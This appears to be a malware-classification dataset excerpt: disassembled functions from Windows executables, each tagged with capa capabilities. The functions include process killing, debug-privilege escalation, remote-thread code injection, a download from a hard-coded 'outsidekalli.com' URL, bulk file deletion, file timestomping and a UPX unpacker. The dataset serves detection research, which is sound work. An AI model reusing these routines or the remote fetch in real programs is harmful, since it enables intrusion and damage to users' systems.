joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4010d0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x41c69c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x134]
push eax
push edi
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40117d
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x110]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401140
test dl, dl
je 0x40113c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401140
add eax, 2
add ecx, 2
test dl, dl
jne 0x401120
xor eax, eax
jmp 0x401145
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40116b
mov ecx, dword [ebp - 0x12c]
push ecx
push eax
push 1
call ebx
mov esi, eax
test esi, esi
je 0x40116b
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x134]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x401114
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406057
mov esp, ebp
pop ebp
ret

Function at 0x4011a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x41c69c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x401237
lea eax, [ebp - 0x130]
push eax
push esi
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x401237
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x4011f0
mov ecx, str.PointBlank.exe
lea eax, [ebp - 0x10c]
jmp 0x401200
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401220
test dl, dl
je 0x40121c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401220
add eax, 2
add ecx, 2
test dl, dl
jne 0x401200
xor eax, eax
jmp 0x401225
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x401249
lea ecx, [ebp - 0x130]
push ecx
push esi
call edi
test eax, eax
jne 0x4011f0
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406057
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x128]
pop edi
xor ecx, ebp
pop esi
call fcn.00406057
mov esp, ebp
pop ebp
ret
Function at 0x401260
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7f0
mov eax, dword [0x41c69c]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor esi, esi
push esi
push esi
push esi
push esi
push 0x419974
mov dword [ebp - 0x7e8], eax
xor ebx, ebx
mov dword [ebp - 0x7e0], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
mov dword [ebp - 0x7ec], edi
cmp edi, esi
je 0x4012c9
push esi
push 0x84000000
push esi
push esi
push str.https:__outsidekalli.com_Admin_147446fdafgdsrgdsdvsfrhgtdhthdthdfgbtj.mnth
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x7e4], eax
test eax, eax
jne 0x4012e0
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00406057
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x7e0]
push ecx
push 0x7d0
lea edx, [ebp - 0x7dc]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x7e0]
add eax, esi
push eax
call fcn.00405f8e
push esi
mov edi, eax
push ebx
push edi
call fcn.004082d0
mov ecx, dword [ebp - 0x7e0]
push ecx
lea edx, [ebp - 0x7dc]
push edx
lea eax, [edi + esi]
push eax
call fcn.004082d0
push ebx
call fcn.00407252
mov eax, dword [ebp - 0x7e8]
add esi, dword [ebp - 0x7e0]
add esp, 0x20
mov ebx, edi
test eax, eax
je 0x401364
mov ecx, esi
mov dword [ebp - 0x7f0], ecx
fild dword [ebp - 0x7f0]
test ecx, ecx
jns 0x40135c
fadd qword [0x419dd0]
mov edx, dword [eax + 8]
fstp qword [eax]
push eax
call edx
cmp dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0x7e4]
jne 0x4012e0
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call ebx
mov ecx, dword [ebp - 0x7ec]
push ecx
call ebx
mov ecx, dword [ebp - 8]
mov eax, edi
pop edi
mov edx, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406057
mov esp, ebp
pop ebp
ret

Function at 0x401440
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x41c69c]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x401477
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406057
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0x419974
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x401467
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
push 0
push 0
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
push 0
push edx
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.00406057
mov esp, ebp
pop ebp
ret
Function at 0x4014e0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x431c40]
mov ecx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ecx + 0x10]
push eax
push 0
push 0x1fffff
inc edi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x40150e
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push 0x40
push 0x1000
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x401585
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 0x10
jb 0x401531
mov eax, dword [eax]
push 0
push edi
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp + 8], eax
test eax, eax
je 0x401585
push 0x419ae8
push str.kernel32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 5
push 0x419b04
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea edx, [ebp - 4]
push edx
push 0
push ebx
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x40158e
pop ebx
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 8], 6
pop ebx
pop edi
setne al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4015a0
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x41c69c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push esi
lea eax, [ebp - 0x108]
push str._s.
push eax
call fcn.00406066
add esp, 0xc
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, eax
lea eax, [ebp - 0x21c]
push eax
push esi
lea ecx, [ebp - 0x108]
push str._s_s
push ecx
call fcn.00406066
add esp, 0x10
lea edx, [ebp - 0x108]
push edx
call ebx
lea eax, [ebp - 0x248]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4015e6
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00406057
mov esp, ebp
pop ebp
ret

Function at 0x406057
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41c69c]
jne 0x406061
repz ret
jmp fcn.00409c8f
Function at 0x40e4f9
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41c69c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040b721
and dword [ebp - 0x14], 0
cmp dword [0x4307ec], 0
mov dword [ebp - 0x18], eax
jne 0x40e5ac
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40e654
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40e654
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4307ec], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4307f0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4307f4], eax
call edi
push eax
call esi
mov dword [0x4307fc], eax
test eax, eax
je 0x40e5ac
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4307f8], eax
mov eax, dword [0x4307f8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40e605
cmp dword [0x4307fc], ecx
je 0x40e605
push eax
call esi
push dword [0x4307fc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40e605
test ebx, ebx
je 0x40e605
call edi
test eax, eax
je 0x40e5fc
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40e5fc
test byte [ebp - 8], 1
jne 0x40e605
or dword [ebp + 0x10], 0x200000
jmp 0x40e638
mov eax, dword [0x4307f0]
cmp eax, dword [ebp - 0x18]
je 0x40e638
push eax
call esi
test eax, eax
je 0x40e638
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40e638
mov eax, dword [0x4307f4]
cmp eax, dword [ebp - 0x18]
je 0x40e638
push eax
call esi
test eax, eax
je 0x40e638
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4307ec]
call esi
test eax, eax
je 0x40e654
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40e656
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406057
leave
ret
Function at 0x6ebfe0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x56b015
lea edi, [esi - 0x16a015]
push edi
jmp 0x6ebffa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6ec001
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6ebff0
mov eax, 1
add ebx, ebx
jne 0x6ec013
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6ec024
jne 0x6ec043
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6ec043
dec eax
add ebx, ebx
jne 0x6ec030
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6ec008
add ebx, ebx
jne 0x6ec03f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6ec095
xor ecx, ecx
sub eax, 3
jb 0x6ec05b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6ec0ca
sar eax, 1
mov ebp, eax
jmp 0x6ec066
add ebx, ebx
jne 0x6ec066
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6ec034
inc ecx
add ebx, ebx
jne 0x6ec074
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6ec034
add ebx, ebx
jne 0x6ec081
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6ec076
jne 0x6ec092
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6ec076
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6ec0b4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6ec0a6
jmp 0x6ebff6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6ec0b4
add edi, ecx
jmp 0x6ebff6
pop esi
mov edi, esi
mov ecx, 0x3c80
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6ec0d2
cmp byte [edi], 0x14
jne 0x6ec0d2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6ec0d7
lea edi, [esi + 0x2e7000]
mov eax, dword [edi]
or eax, eax
je 0x6ec146
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2fcef4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2fd0f8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6ec104
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2fd100]
or eax, eax
je 0x6ec140
mov dword [ebx], eax
add ebx, 4
jmp 0x6ec121
call dword [esi + 0x2fd0fc]
mov ebp, dword [esi + 0x2fd104]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6ec17a
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x402150
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push edi
push 0x34
push 0x404178
push str.This_is_a_safety_malware__Run_
push 0
call esi
cmp eax, 7
je 0x402392
push 0x34
push str.Final_Warning___Monodwide.exe
push str.Are_you_sure__Its_safety
push 0
call esi
cmp eax, 7
je 0x402392
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call ebx
push 0
push 0
push 0
push 0x401900
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x20001
push 0
push str.sound1.wav
mov esi, eax
call dword [sym.imp.WINMM.dll_PlaySoundW]
push 0x7530
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
mov edi, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401960
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00401000
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x4019f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00401160
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401b00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.004012d0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401c30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00401440
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401d40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.004015b0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401ec0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00401760
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401650
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, dword [0x4138f0]
sub esp, 0x100
lea ecx, [esp]
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push esi
push eax
push str.c_nCount_d
push ecx
call ebx
lea edx, [esp + 0x14]
push edx
call fcn.00404510
mov eax, dword [0x4138f0]
add esp, 0x10
xor esi, esi
test eax, eax
jle 0x4016bd
push edi
mov edi, 0x409528
mov eax, dword [edi + 4]
mov ecx, dword [edi]
push eax
push ecx
push esi
lea edx, [esp + 0x18]
push str.__d____X___X
push edx
call ebx
lea eax, [esp + 0x20]
push eax
call fcn.00404510
mov eax, dword [0x4138f0]
add esp, 0x18
inc esi
add edi, 8
cmp esi, eax
jl 0x40168e
pop edi
push 0
push 0x4014f0
call dword [sym.imp.USER32.dll_EnumWindows]
pop esi
pop ebx
add esp, 0x100
ret

Function at 0x4016e0
Capabilities:
Enumerate gui resources

Disassembly:
push 2
push 0x4014f0
call dword [sym.imp.USER32.dll_EnumWindows]
ret

Function at 0x401a30
Capabilities:
Get common file path
Set current directory

Disassembly:
mov al, byte [0x409774]
sub esp, 0x1a4
test al, 0xa0
je 0x401a5a
call fcn.00401820
test al, al
jne 0x401a51
call fcn.00401880
test al, al
je 0x401a5a
mov al, 1
add esp, 0x1a4
ret
mov al, byte [0x4138f4]
test al, al
je 0x401a6c
mov al, 1
add esp, 0x1a4
ret
push edi
push str.DoOpgDlg2
call fcn.00404510
mov ecx, 0x26
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0x409774]
add esp, 4
test al, 2
pop edi
je 0x401aad
lea eax, [esp]
push eax
call fcn.00401b90
push 0
call fcn.00401bd0
add esp, 8
push ebx
push esi
call fcn.004014d0
lea ecx, [esp + 0xa4]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
mov al, byte [0x409774]
test al, 0x20
mov byte [0x4138f4], 1
je 0x401b01
push 0x4138b8
push 0x413878
push 0x409728
call fcn.004046b0
add esp, 8
push eax
call fcn.004019c0
add esp, 8
jmp 0x401b19
test al, 0x80
je 0x401b0c
call fcn.00401960
jmp 0x401b19
push 0x409738
call fcn.004018f0
add esp, 4
lea edx, [esp + 0xa4]
mov bl, al
push edx
mov byte [0x4138f4], 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call fcn.00401650
test byte [0x409774], 2
je 0x401b4b
lea eax, [esp + 8]
push eax
call fcn.00401bd0
add esp, 4
test esi, esi
je 0x401b7f
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
test eax, eax
je 0x401b72
push str.SetForegroundWindow___succeeded.
call fcn.00404510
add esp, 4
mov al, bl
pop esi
pop ebx
add esp, 0x1a4
ret
push str.SetForegroundWindow___failed.
call fcn.00404510
add esp, 4
mov al, bl
pop esi
pop ebx
add esp, 0x1a4
ret
Function at 0x401de0
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
push esi
push 0x4090e8
call fcn.00404510
mov ecx, dword [esp + 0x14]
mov esi, dword [sym.imp.MSVCRT.dll_strtoul]
lea eax, [esp + 0xc]
push 0x10
add ecx, 3
push eax
push ecx
mov dword [esp + 0x18], 0
call esi
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x401e74
mov eax, dword [esp + 8]
lea edx, [esp + 8]
push 0x10
push edx
push eax
call esi
add esp, 0xc
test eax, eax
je 0x401e74
push ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push eax
push 0
push 0x1f0fff
call edi
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebp
push ebx
push 0
push 0x1f0fff
call edi
mov esi, eax
test esi, esi
je 0x401e6c
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebp
pop edi
pop ebp
pop esi
xor eax, eax
pop ebx
pop ecx
ret
pop esi
mov eax, 1
pop ebx
pop ecx
ret

Function at 0x401f00
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push eax
push 0
push 0
push 0
push SysReAllocStringLen
push 0
push SysReAllocStringLen
push 0xcf0000
push 0x413960
push 0x4138fc
push 0x80
mov dword [0x4139c4], eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
test esi, esi
jne 0x401f41
pop esi
ret
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0x414
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
mov eax, 1
pop esi
ret
Function at 0x403be0
Capabilities:
Parse pe header
Read file on windows

Disassembly:
sub esp, 0x404
mov eax, dword [esp + 0x408]
push esi
push 0
push 0x10000000
push 3
push 0
push 1
push SysReAllocStringLen
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x403c72
lea ecx, [esp + 4]
push 0
push ecx
lea edx, [esp + 0x10]
push 0x400
push edx
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x403c6b
cmp dword [esp + 4], 0x400
jne 0x403c6b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp word [esp + 8], 0x5a4d
jne 0x403c72
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + eax + 8]
lea eax, [esp + eax + 8]
cmp ecx, 0x4550
jne 0x403c72
mov eax, dword [eax + 0x34]
pop esi
add esp, 0x404
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
add esp, 0x404
ret

Function at 0x403dd0
Capabilities:
Delete directory
Delete file

Disassembly:
mov al, byte [0x413e18]
sub esp, 0x400
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
test al, 0x40
jne 0x403e3b
mov eax, dword [0x413e0c]
cmp eax, ebx
je 0x403e0c
cmp eax, 0xffffffff
je 0x403e0c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x413e0c], ebx
push 0x413ae0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, eax
call ebp
push eax
push esi
push 0x413ae0
lea eax, [esp + 0x1c]
push str.DeleteFile__s__d___d
push eax
call edi
lea ecx, [esp + 0x24]
push ecx
call fcn.00404510
add esp, 0x18
cmp byte [0x4139d8], bl
je 0x403e72
push 0x4139d8
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov esi, eax
call ebp
push eax
push esi
push 0x4139d8
lea edx, [esp + 0x1c]
push str.RemoveDirectory__s__d___d
push edx
call edi
lea eax, [esp + 0x24]
push eax
call fcn.00404510
add esp, 0x18
pop edi
pop esi
mov byte [0x413ae0], bl
mov byte [0x4139d8], bl
pop ebp
pop ebx
add esp, 0x400
ret
Function at 0x403f40
Capabilities:
Read file on windows
Timestomp file
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
xor ebp, ebp
push edi
mov edi, dword [esp + 0x20]
push ebp
push 0x80
push 3
push ebp
push 3
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403f82
push str.UnPatchFile._cannnot_open_the_file.
call fcn.00404510
add esp, 4
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ebp
push eax
push ebp
push ebp
push esi
mov dword [esp + 0x28], ebp
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [edi + 0x88]
cmp ebx, ebp
jne 0x403fa7
mov ebx, 4
push ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x403fcd
push str.UnPatchFile._cannnot_allocate_buffer.
call fcn.00404510
add esp, 4
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
mov ecx, dword [edi + 0x80]
push 0
push 0
push ecx
push esi
mov byte [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, dword [edi + 0x80]
jne 0x40405f
lea edx, [esp + 0x10]
push 0
push edx
push ebx
push ebp
push esi
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40405f
cmp dword [esp + 0x10], ebx
jne 0x40405f
mov eax, dword [esp + 0x24]
push eax
push edi
push ebp
call fcn.00404650
mov ecx, dword [edi + 0x80]
add esp, 0xc
mov byte [esp + 0x20], al
push 0
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov al, byte [esp + 0x20]
test al, al
je 0x40405f
lea edx, [esp + 0x10]
push 0
push edx
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40405f
lea eax, [esp + 0x14]
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret